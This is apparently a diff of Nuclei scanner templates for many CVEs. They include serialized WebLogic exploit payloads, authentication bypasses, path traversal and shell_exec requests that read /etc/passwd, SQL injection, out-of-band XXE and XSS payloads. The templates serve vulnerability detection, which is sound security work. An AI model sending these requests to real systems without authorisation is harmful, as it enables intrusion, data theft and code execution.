265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707729000a556e69636173745265660000000005a2000000005649e3fd00000000000000000000000000000078fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff')}}"
+        read: 1024
+    host:
+      - "{{Hostname}}"
+    read-size: 1024
+    matchers:
+      - type: regex
+        regex:
+          - "\\$Proxy[0-9]+"
@@ -0,0 +1,29 @@
+id: CVE-2018-2893
+
+info:
+  name: Oracle WebLogic Server Deserialization RCE (CVE-2018-2893)
+  author: milo2012
+  severity: high
+  tags: cve,cve2018,weblogic,network
+  reference: https://www.anquanke.com/post/id/152164, https://vulners.com/nessus/WEBLOGIC_CVE_2018_2893.NASL
+
+network:
+  - inputs:
+      - data: "t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n"
+        read: 1024
+      - data: "000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd60000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd071a7727000d3234322e3231342e312e32353461863d1d0000000078"
+        type: hex
+        read: 1024
+      - data: "0000042e056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000001251e200000000000000100000118aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707732000a556e696361737452656600093132372e302e302e310000f1440000000046911fd80000000000000000000000000000007878fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff"
+        type: hex
+        read: 1024
+      - data: "0000042e056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000001251e200000000000000100000118aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707732000a556e696361737452656600093132372e302e302e310000f1440000000046911fd80000000000000000000000000000007878fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff"
+        type: hex
+        read: 1024
+    host:
+      - "{{Hostname}}"
+    matchers:
+      - type: word
+        part: raw
+        words:
+          - "StreamMessageImpl cannot be cast to weblogic"
@@ -12,7 +12,7 @@ requests:
    path:
      - '{{BaseURL}}/OA_HTML/lcmServiceController.jsp'

-    body: <!DOCTYPE root PUBLIC "-//B/A/EN" "http://localhost:80">
+    body: <!DOCTYPE root PUBLIC "-//B/A/EN" "http://example.com">

    matchers-condition: and
    matchers:
@@ -22,4 +22,4 @@ requests:
        part: body
      - type: status
        status:
-          - 200
+          - 200
@@ -0,0 +1,33 @@
+id: CVE-2018-8715
+
+info:
+  name: AppWeb Authentication Bypass vulnerability
+  author: milo2012
+  severity: high
+  description: The Embedthis HTTP library, and Appweb versions before 7.0.3, have a logic flaw related to the authCondition function in http/httpLib.c. With a forged HTTP request, it is possible to bypass authentication for the form and digest login types.
+  tags: cve,cve2018,appweb,auth-bypass
+  reference: |
+      - https://github.com/embedthis/appweb/issues/610
+
+requests:
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+        Accept-Encoding: gzip, deflate
+        Accept: */*
+        Accept-Language: en
+        User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+        Connection: close
+        Authorization: Digest username=admin
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - '<a class="logo" href="https://embedthis.com/">&nbsp;</a>'
+        part: body
@@ -7,7 +7,7 @@ info:
  reference: |
    - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8770
    - https://www.exploit-db.com/exploits/44495/
-  tags: cobub,razor,exposure
+  tags: cve,cve2018,cobub,razor,exposure

 requests:
  - method: GET
@@ -0,0 +1,27 @@
+id: CVE-2018-9995
+info:
+  name: DVR Authentication Bypass
+  author: princechaddha
+  severity: high
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2018-9995
+  tags: cve,cve2018,auth-bypass
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/device.rsp?opt=user&cmd=list"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "\"uid\":"
+          - "\"pwd\":"
+          - "\"view\":"
+          - "playback"
+        condition: and
+        part: body
@@ -0,0 +1,32 @@
+id: CVE-2019-13101
+
+info:
+  author: Suman_Kar
+  name: D-Link DIR-600M - Authentication Bypass
+  description: An issue was discovered on D-Link DIR-600M 3.02, 3.03, 3.04, and 3.06 devices. wan.htm can be accessed directly without authentication, which can lead to disclosure of information about the WAN, and can also be leveraged by an attacker to modify the data fields of the page.
+  severity: critical
+  tags: cve,cve2019,dlink,router,iot
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2019-13101
+      - https://github.com/d0x0/D-Link-DIR-600M
+      - https://www.exploit-db.com/exploits/47250
+
+requests:
+  - raw:
+      - |
+        GET /wan.htm HTTP/1.1
+        Host: {{Hostname}}
+        Origin: {{BaseURL}}
+        Connection: close
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "/PPPoE/"
+        part: body
@@ -2,7 +2,7 @@ id: CVE-2019-15858

 info:
  name: Unauthenticated Woody Ad Snippets WordPress Plugin RCE
-  author: dwisiswant0 & fmunozs & patralos
+  author: dwisiswant0,fmunozs,patralos
  severity: high
  description: |
    This template supports the detection part only. See references.
@@ -8,10 +8,7 @@ info:
    - https://www.exploit-db.com/exploits/47760
    - https://nvd.nist.gov/vuln/detail/CVE-2019-17270
  description: |
-    Yachtcontrol software is being used for controlling several aspects on yachts, as the name implies. Having access to the webapplication,
-    it's possible to control several items such as lights, powergenerator, solarcontrol, airco, wipers, heating and other components
-    Websoftware is built in PHP and mostly runs on a Linux based firmware device, controlling several other components related to the Yacht
-    Other related software running on the same firmware device are custom compiled ELF binaries for controlling related onboard devices
+    A vulnerability in Yachtcontrol makes it possible to perform direct Operating System commands as an unauthenticated user via the "/pages/systemcall.php?command={COMMAND}" page and parameter, where {COMMAND} will be executed and returning the results to the client. Affects Yachtcontrol webservers disclosed via Dutch GPRS/4G mobile IP-ranges. IP addresses vary due to DHCP client leasing of telco's.
  tags: rce,yachtcontrol,cve,cve2019

 requests:
@@ -2,7 +2,7 @@ id: CVE-2019-17382

 info:
  name: Zabbix Authentication Bypass
-  author: Harsh Bothra
+  author: harshbothra_
  severity: critical
  description: An issue was discovered in zabbix.php?action=dashboard.view&dashboardid=1 in Zabbix through 4.4. An attacker can bypass the login page and access the dashboard page, and then create a Dashboard, Report, Screen, or Map without any Username/Password (i.e., anonymously). All created elements (Dashboard/Report/Screen/Map) are accessible by other users and by an admin.
  reference: https://www.exploit-db.com/exploits/47467
@@ -4,7 +4,7 @@ info:
  author: pussycat0x
  severity: high
  reference: https://github.com/shi-yang/jnoj/issues/53
-  tegs: cve.cve2019,jnoj,lfi
+  tags: cve.cve2019,jnoj,lfi

 requests:
  - raw:
@@ -1,7 +1,7 @@
 id: CVE-2019-17558
 info:
  name: Apache Solr 8.3.0 - Remote Code Execution via Velocity Template
-  author: pikpikcu & madrobot
+  author: pikpikcu,madrobot
  severity: critical
  refrense: https://nvd.nist.gov/vuln/detail/CVE-2019-17558
  tags: cve,cve2019,apache,rce,solr
@@ -2,7 +2,7 @@ id: CVE-2019-19985

 info:
  name: WordPress Plugin Email Subscribers & Newsletters 4.2.2 - Unauthenticated File Download
-  author: KBA@SOGETI_ESEC, madrobot & dwisiswant0
+  author: KBA@SOGETI_ESEC,madrobot,dwisiswant0
  severity: medium
  description: The WordPress plugin, Email Subscribers & Newsletters, before 4.2.3 had a flaw that allowed unauthenticated file download with user information disclosure.
  refrense: https://www.exploit-db.com/exploits/48698
@@ -0,0 +1,28 @@
+id: CVE-2019-2616
+
+info:
+  name: XXE in Oracle Business Intelligence and XML Publisher
+  author: pdteam
+  severity: high
+  description: Oracle Business Intelligence / XML Publisher 11.1.1.9.0 / 12.2.1.3.0 / 12.2.1.4.0 - XML External Entity Injection
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2019-2616
+      - https://www.exploit-db.com/exploits/46729
+  tags: cve,cve2019,oracle,xxe,oob
+
+requests:
+  - raw:
+      - |
+        POST /xmlpserver/ReportTemplateService.xls HTTP/1.1
+        Host: {{Hostname}}
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Content-Length: 76
+        Content-Type: text/xml; charset=UTF-8
+
+        <!DOCTYPE soap:envelope PUBLIC "-//B/A/EN" "http://{{interactsh-url}}">
+
+    matchers:
+      - type: word
+        part: interactsh_protocol # Confirms the HTTP Interaction
+        words:
+          - "http"
@@ -0,0 +1,23 @@
+id: CVE-2019-2767
+
+info:
+  name: Oracle Business Intelligence - Publisher XXE
+  author: madrobot
+  severity: high
+  description: Vulnerability in the BI Publisher (formerly XML Publisher) component of Oracle Fusion Middleware. The supported version that is affected are 11.1.1.9.0, 12.2.1.3.0 and 12.2.1.4.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise BI Publisher (formerly XML Publisher).
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2019-2767
+      - https://www.exploit-db.com/exploits/46729
+  tags: cve,cve2019,oracle,xxe,oob
+
+requests:
+  - raw:
+      - |
+        GET /xmlpserver/convert?xml=<%3fxml+version%3d"1.0"+%3f><!DOCTYPE+r+[<!ELEMENT+r+ANY+><!ENTITY+%25+sp+SYSTEM+"http%3a//{{interactsh-url}}/xxe.xml">%25sp%3b%25param1%3b]>&_xf=Excel&_xl=123&template=123 HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: word
+        part: interactsh_protocol # Confirms the HTTP Interaction
+        words:
+          - "http"
@@ -1,6 +1,6 @@
 id: CVE-2019-3396
 info:
-  author: Harsh Bothra
+  author: harshbothra_
  name: Atlassian Confluence Path Traversal
  severity: high
  description: The Widget Connector macro in Atlassian Confluence Server before version 6.6.12 (the fixed version for 6.6.x), from version 6.7.0 before 6.12.3 (the fixed version for 6.12.x), from version 6.13.0 before 6.13.3 (the fixed version for 6.13.x), and from version 6.14.0 before 6.14.2 (the fixed version for 6.14.x), allows remote attackers to achieve path traversal and remote code execution on a Confluence Server or Data Center instance via server-side template injection.
@@ -1,10 +1,10 @@
-id: jira-unauth-popular-filters
+id: CVE-2019-3401

 info:
-  name: Jira Unauthenticated Popular Filters
-  author: TechbrunchFR
+  name: Atlassian JIRA Information Exposure (CVE-2019-3401)
+  author: TechbrunchFR,milo2012
  severity: info
-  tags: atlassian,jira
+  tags: cve,cve2019,jira,atlassian

 requests:
  - method: GET
@@ -13,7 +13,9 @@ requests:
    matchers:
      - type: word
        words:
-          - 'filterlink_'
+          - '<span data-filter-field="owner-full-name">'
+          - '<title>Manage Filters - Jira</title>'
+        condition: and

 # Remediation:
 # Ensure that this permission is restricted to specific groups that require it.
@@ -11,7 +11,7 @@ info:
 requests:
  - method: GET
    path:
-      - "{{BaseURL}}//secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search"
+      - "{{BaseURL}}/secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search"

    matchers-condition: and
    matchers:
@@ -0,0 +1,25 @@
+id: CVE-2019-7254
+
+info:
+  name: eMerge E3 1.00-06 - Unauthenticated Directory Traversal
+  author: 0x_Akoko
+  severity: high
+  reference: https://www.exploit-db.com/exploits/47616
+  tags: emerge,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/?c=../../../../../../etc/passwd%00"
+      - "{{BaseURL}}/badging/badge_print_v0.php?tpl=../../../../../etc/passwd"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,28 @@
+id: CVE-2019-7481
+
+info:
+  name: sonicwall sra 4600 vpn pre-authenticated sql injection
+  author: _darrenmartyn
+  severity: high
+  description: |
+    The SonicWall SRA 4600 VPN appliance suffers a pre-authentication SQL injection vulnerability.
+  reference: |
+    - https://www.crowdstrike.com/blog/how-ecrime-groups-leverage-sonicwall-vulnerability-cve-2019-7481/
+  tags: cve,cve2019,sonicwall,sqli
+
+requests:
+  - raw:
+      - |
+        POST /cgi-bin/supportInstaller HTTP/1.1
+        Host: {{Hostname}}
+        Accept-Encoding: identity
+        User-Agent: MSIE
+        Content-Type: application/x-www-form-urlencoded
+
+        fromEmailInvite=1&customerTID=unpossible'+UNION+SELECT+0,0,0,11132*379123,0,0,0,0--
+
+    matchers:
+      - type: word
+        words:
+          - "4220397236"
+        part: body
@@ -2,7 +2,7 @@ id: CVE-2019-8449

 info:
  name: JIRA Unauthenticated Sensitive Information Disclosure
-  author: Harsh Bothra
+  author: harshbothra_
  severity: medium
  description: The /rest/api/latest/groupuserpicker resource in Jira before version 8.4.0 allows remote attackers to enumerate usernames via an information disclosure vulnerability.
  reference: |
@@ -2,7 +2,7 @@ id: CVE-2019-9978

 info:
  name: WordPress social-warfare RFI
-  author: madrobot & dwisiswant0
+  author: madrobot,dwisiswant0
  severity: critical
  description: The social-warfare plugin before 3.5.3 for WordPress has stored XSS via the wp-admin/admin-post.php?swp_debug=load_options swp_url parameter, as exploited in the wild in March 2019. This affects Social Warfare and Social Warfare Pro.
  reference: https://github.com/mpgn/CVE-2019-9978
@@ -0,0 +1,48 @@
+id: CVE-2020-11110
+
+info:
+  author: emadshanab
+  severity: medium
+  name: Grafana Unauthenticated Stored XSS
+  description: Grafana through 6.7.1 allows stored XSS due to insufficient input protection in the originalUrl field, which allows an attacker to inject JavaScript code that will be executed after clicking on Open Original Dashboard after visiting the snapshot.
+  tags: cve,cve2020,xss,grafana
+  reference: |
+    - https://ctf-writeup.revers3c.com/challenges/web/CVE-2020-11110/index.html
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-11110
+requests:
+  - raw:
+      - |
+        POST /api/snapshots HTTP/1.1
+        Host: {{Hostname}}
+        Accept: application/json, text/plain, */*
+        Accept-Language: en-US,en;q=0.5
+        Referer: {{BaseURL}}
+        content-type: application/json
+        Connection: close
+
+        {"dashboard":{"annotations":{"list":[{"name":"Annotations & Alerts","enable":true,"iconColor":"rgba(0, 211, 255, 1)","type":"dashboard","builtIn":1,"hide":true}]},"editable":true,"gnetId":null,"graphTooltip":0,"id":null,"links":[],"panels":[],"schemaVersion":18,"snapshot":{"originalUrl":"javascript:alert('Revers3c')","timestamp":"2020-03-30T01:24:44.529Z"},"style":"dark","tags":[],"templating":{"list":[]},"time":{"from":null,"to":"2020-03-30T01:24:53.549Z","raw":{"from":"6h","to":"now"}},"timepicker":{"refresh_intervals":["5s","10s","30s","1m","5m","15m","30m","1h","2h","1d"],"time_options":["5m","15m","1h","6h","12h","24h","2d","7d","30d"]},"timezone":"","title":"Dashboard","uid":null,"version":0},"name":"Dashboard","expires":0}
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        part: header
+        words:
+          - application/json
+
+      - type: word
+        part: body
+        words:
+          - '"deleteKey":'
+          - '"deleteUrl":'
+        condition: and
+
+    extractors:
+      - type: regex
+        part: body
+        group: 1
+        regex:
+          - '"url":"([a-z:/0-9A-Z]+)"'
@@ -0,0 +1,31 @@
+id: CVE-2020-11930
+
+info:
+  name: WordPress Plugin "Translate WordPress with GTranslate" (gtranslate) XSS
+  author: dhiyaneshDK
+  severity: medium
+  description: |
+    The GTranslate plugin before 2.8.52 for WordPress was vulnerable to an Unauthenticated Reflected XSS vulnerability via a crafted link. This requires use of the hreflang tags feature within a sub-domain or sub-directory paid option.
+  reference: |
+    - https://wpscan.com/vulnerability/10181
+    - https://payatu.com/blog/gaurav/analysis-of-cve-2020-11930:-reflected-xss-in-gtranslate-wordpress-module
+  tags: cve,cve2020,wordpress,xss
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/does_not_exist"%22%3E%3Cscript%3Ealert("XSS")%3C/script%3E<img%20src=x'
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '<script>alert("XSS")</script>'
+      - type: word
+        part: header
+        words:
+          - "text/html"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,64 @@
+id: CVE-2020-11978
+info:
+  name: Apache Airflow <= 1.10.10 - 'Example Dag' Remote Code Execution
+  author: pdteam
+  severity: high
+  description: An issue was found in Apache Airflow versions 1.10.10 and below. A remote code/command injection vulnerability was discovered in one of the example DAGs shipped with Airflow which would allow any authenticated user to run arbitrary commands as the user running airflow worker/scheduler (depending on the executor in use). If you already have examples disabled by setting load_examples=False in the config then you are not vulnerable.
+  reference: |
+        - https://github.com/pberba/CVE-2020-11978
+        - https://nvd.nist.gov/vuln/detail/CVE-2020-11978
+        - https://twitter.com/wugeej/status/1400336603604668418
+  tags: cve,cve2020,apache,airflow,rce
+
+requests:
+  - raw:
+      - |
+        GET /api/experimental/test HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Accept-Encoding: gzip, deflate
+        Accept: */*
+
+      - |
+        GET /api/experimental/dags/example_trigger_target_dag/paused/false HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Accept-Encoding: gzip, deflate
+        Accept: */*
+
+      - |
+        POST /api/experimental/dags/example_trigger_target_dag/dag_runs HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Accept-Encoding: gzip, deflate
+        Accept: */*
+        Content-Length: 85
+        Content-Type: application/json
+
+        {"conf": {"message": "\"; touch test #"}}
+
+      - |
+        GET /api/experimental/dags/example_trigger_target_dag/dag_runs/{{exec_date}}/tasks/bash_task HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Accept-Encoding: gzip, deflate
+        Accept: */*
+
+
+    extractors:
+      - type: regex
+        name: exec_date
+        part: body
+        group: 1
+        internal: true
+        regex:
+          - '"execution_date":"([0-9-A-Z:+]+)"'
+
+    req-condition: true
+    matchers-condition: and
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(body_4, "operator":"BashOperator")'
+          - 'contains(all_headers_4, "application/json")'
+        condition: and
@@ -4,6 +4,7 @@ info:
  name: Apache Cocoon 2.1.12 XML Injection
  author: pikpikcu
  severity: high
+  tags: cve,cve2020,apache,xml,cocoon
  description: |
    When using the StreamGenerator, the code parse a user-provided XML. A specially crafted XML, including external system entities, could be used to access any file on the server system.
  reference: https://lists.apache.org/thread.html/r77add973ea521185e1a90aca00ba9dae7caa8d8b944d92421702bb54%40%3Cusers.cocoon.apache.org%3E
@@ -32,8 +32,10 @@ requests:
        regex:
          - "(?m)/cachestart/.*/jquery/"

+    req-condition: true
    matchers:
-      - type: word
-        words:
-          - "BEGIN RSA PRIVATE KEY"
-        part: body
+      - type: dsl
+        dsl:
+          - 'contains(body_2, "BEGIN RSA PRIVATE KEY")'
+          - 'status_code_2 == 200'
+        condition: and
@@ -2,7 +2,7 @@ id: CVE-2020-12720

 info:
  name: CVE-2020-12720 vBulletin SQLI
-  author: pdnuclei - projectdiscovery.io
+  author: pdteam
  severity: critical
  description: vBulletin before 5.5.6pl1, 5.6.0 before 5.6.0pl1, and 5.6.1 before 5.6.1pl1 has incorrect access control.
  reference: https://github.com/rekter0/exploits/tree/master/CVE-2020-12720
@@ -18,7 +18,7 @@ requests:

      - type: word
        words:
-          - "{alert(document.domain);}"
+          - "function(handler){};function __MobileAppList(test){alert(document.domain);};//</div>"
        part: body

      - type: word
@@ -1,18 +1,20 @@
-id: airflow-api-exposure
+id: CVE-2020-13927

 info:
-  name: Apache Airflow API Exposure / Unauthenticated Access
+  name: Unauthenticated Airflow Experimental REST API
  author: pdteam
  severity: medium
-  tags: apache,airflow,unauth
+  tags: cve,cve2020,apache,airflow,unauth

 requests:
  - method: GET
    path:
      - '{{BaseURL}}/api/experimental/latest_runs'
+
    matchers:
      - type: word
        words:
          - '"dag_run_url":'
-          - '{"items":['
+          - '"dag_id":'
+          - '"items":'
        condition: and
@@ -0,0 +1,29 @@
+id: CVE-2020-15227
+
+info:
+  name: Nette Framework RCE
+  author: becivells
+  severity: high
+  description: Nette versions before 2.0.19, 2.1.13, 2.2.10, 2.3.14, 2.4.16, 3.0.6 are vulnerable to an code injection attack by passing specially formed parameters to URL that may possibly leading to RCE. Nette is a PHP/Composer MVC Framework.
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2020-15227
+      - https://github.com/nette/application/security/advisories/GHSA-8gv3-3j7f-wg94
+      - https://www.pwnwiki.org/index.php?title=CVE-2020-15227_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E#
+      - https://github.com/Mr-xn/Penetration_Testing_POC/blob/02546075f378a9effeb6426fc17beb66b6d5c8ee/books/Nette%E6%A1%86%E6%9E%B6%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C(CVE-2020-15227).md
+  tags: cve,cve2020,nette,rce
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/nette.micro/?callback=shell_exec&cmd=cat%20/etc/passwd&what=-1"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+
+      - type: status
+        status:
+          - 200